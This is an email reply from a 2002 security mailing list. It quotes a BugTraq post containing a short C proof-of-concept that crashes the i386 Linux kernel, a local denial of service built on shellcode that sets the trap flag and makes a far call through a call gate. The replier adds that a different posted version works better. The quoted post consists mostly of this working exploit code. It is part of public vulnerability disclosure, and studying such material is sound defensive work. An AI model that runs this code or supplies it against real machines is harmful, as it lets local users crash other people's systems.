The code at http://online.securityfocus.com/archive/1/299687 will work a
lot better.  That code given in the first post only works under certain
circumstances.

Regards,
Cade Cairns

On Fri, 15 Nov 2002, Richard Jenniss wrote:

> taken from http://online.securityfocus.com/archive/1/299559
>
> To:  BugTraq
> Subject:  i386 Linux kernel DoS
> Date:  Nov 11 2002 8:25PM
> Author:  Christophe Devine
> Message-ID:  <[EMAIL PROTECTED]>
>
>
> /* USE AT YOUR OWN RISK ! */
>
> int main( void )
> {
>     char dos[] = "\x9C"                           /* pushfd       */
>                  "\x58"                           /* pop eax      */
>                  "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
>                  "\x50"                           /* push eax     */
>                  "\x9D"                           /* popfd        */
>                  "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */
>
>     void (* f)( void );
>
>     f = (void *) dos; (* f)();
>
>     return 1;
> }
>

Reply via email to